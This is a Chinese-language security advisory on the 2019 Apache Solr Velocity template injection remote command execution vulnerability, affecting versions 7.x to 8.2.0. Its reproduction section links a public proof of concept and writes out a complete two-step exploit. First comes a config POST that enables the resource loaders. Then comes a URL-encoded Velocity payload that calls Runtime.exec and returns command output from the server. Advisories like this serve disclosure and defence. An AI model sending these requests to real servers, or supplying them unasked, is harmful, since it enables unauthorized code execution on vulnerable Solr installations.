一、事件背
景
近日,国外的安全研究员S00pY在GitHub发布了Apache Solr Velocity模版注入远程命令执行的poc,经过测试该poc真实有效,漏洞等级严重,影响面广。目前Apache Solr官方未发布该漏洞的补丁。
二、漏洞信息
漏洞名称
|
Apache Solr Velocity模版注入远程命令执行漏洞
|
CVE编号
|
暂无
|
CNVD编号
|
暂无
|
影响版本
|
参考影响范围
|
威胁等级
|
高危
|
公开时间
|
2019年10月31日
|
当
攻击者可以直接访问Solr控制台时,可
以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。
Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。
当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。
目前测试,影响Apache Solr 7.x到8.2.0(目前最新版本)。
四、漏洞复现
Poc:
https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
Step1:
访问Core Admin得到应用Path路径,此处为collection1
修改应用配置
solr.resource.loader.enabled 和
params.resource.loader.enabled为true
修改应用配置
solr.resource.loader.enabled 和
params.resource.loader.enabled为true
POST /solr/collection1/config HTTP/1.1
Host: ip:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 259
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
Step2:
执行命令
http://ip:8983/solr/collection1/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end